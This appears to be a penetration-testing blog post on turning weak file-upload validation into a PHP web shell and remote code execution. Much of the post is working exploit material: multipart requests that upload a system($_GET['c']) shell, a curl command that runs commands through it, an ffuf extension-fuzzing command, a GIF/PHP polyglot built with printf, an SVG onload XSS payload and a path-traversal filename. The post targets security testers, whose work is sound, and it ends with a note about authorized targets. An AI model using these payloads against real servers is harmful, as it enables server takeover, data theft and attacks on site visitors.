cd ../blog

Unrestricted File Upload: From Image to Web Shell

Weak upload validation lets an attacker drop executable code on your server. We cover content-type tricks, double extensions, and how to neutralize uploads.

File upload features are a perennial path to remote code execution: if you can place a file with executable server-side content where the web server will run it, you get a web shell. Every weak link in the validation chain — extension, content-type, storage location — is a place to break through. This is how to find and exploit one.

Finding it

Map every upload in the app — avatars, attachments, import, document/CSV upload, profile images — and for each, learn three things: what filename/extension it accepts, where it stores the file, and whether that location is web-accessible and executes scripts.

The validation that is commonly wrong:

  • Content-Type header: fully attacker-controlled, so setting image/png proves nothing.
  • Extension blocklists: incomplete by nature — alternate executable extensions slip through.
  • Double extensions: shell.php.png / shell.png.php.
  • Magic-byte checks: defeated by prepending real image bytes to a polyglot.

Recon technique: upload a known-good image first and find the returned URL — that reveals the storage path and naming scheme. Then start substituting executable content while keeping just enough to pass each check. A quick ffuf sweep over the filename parameter surfaces which extensions the server accepts and where they land:

# Fuzz the upload extension; FUZZ pulls from a list of executable variants
ffuf -w php-extensions.txt:FUZZ -X POST -u https://app.example.com/upload \
  -F "file=@shell.FUZZ" -mc 200,201 -fr "rejected"

Pair that with requesting each stored URL to see which actually execute rather than download.

Proof of concept

The direct path is a PHP one-liner disguised with an image content-type. The extension is what matters to the engine:

POST /upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=X

--X
Content-Disposition: form-data; name="file"; filename="avatar.php"
Content-Type: image/png

<?php system($_GET['c']); ?>
--X--

If it stores to a web-accessible dir and executes .php, request the shell:

curl "https://app.example.com/uploads/avatar.php?c=id"
# uid=33(www-data) gid=33(www-data) ...  == RCE confirmed

When the extension is blocked, work the bypasses in order. Try alternate executable extensions for the stack (.php5, .phtml, .phar, or .asp;.jpg on IIS), then double extensions, then case (.pHp). For checks that sniff magic bytes, build a polyglot that is a valid image and valid PHP:

# GIF-header polyglot: passes image signature checks, still runs as PHP
printf 'GIF89a;\n<?php system($_GET["c"]); ?>\n' > shell.gif.php

Upload that as shell.gif.php (or with whatever extension trick the server allows) and request it. The GIF89a prefix satisfies a naive signature check while the engine still executes the PHP after it.

For a content-type-only validator, just lie:

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['c']); ?>

Going further

Even when code execution is blocked, uploads enable other proofs:

  • Stored XSS via an uploaded HTML or SVG served inline — SVG can carry script, and browsers execute it when the file is served with an HTML-ish content type rather than as a download:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
  • Path traversal in the filename writing outside the intended directory: filename="../../../var/www/html/shell.php".
  • Decompression bombs for denial of service.

A file's "type" is genuinely ambiguous — extension, declared content-type, magic bytes, and the browser's own MIME sniffing can all disagree, and a polyglot is a valid image and valid script at once. That is why one disagreeing layer is enough. The cleanest report shows the upload request, the stored URL, and the command output (or the fired alert). Test only on authorized targets and remove any uploaded shell afterward.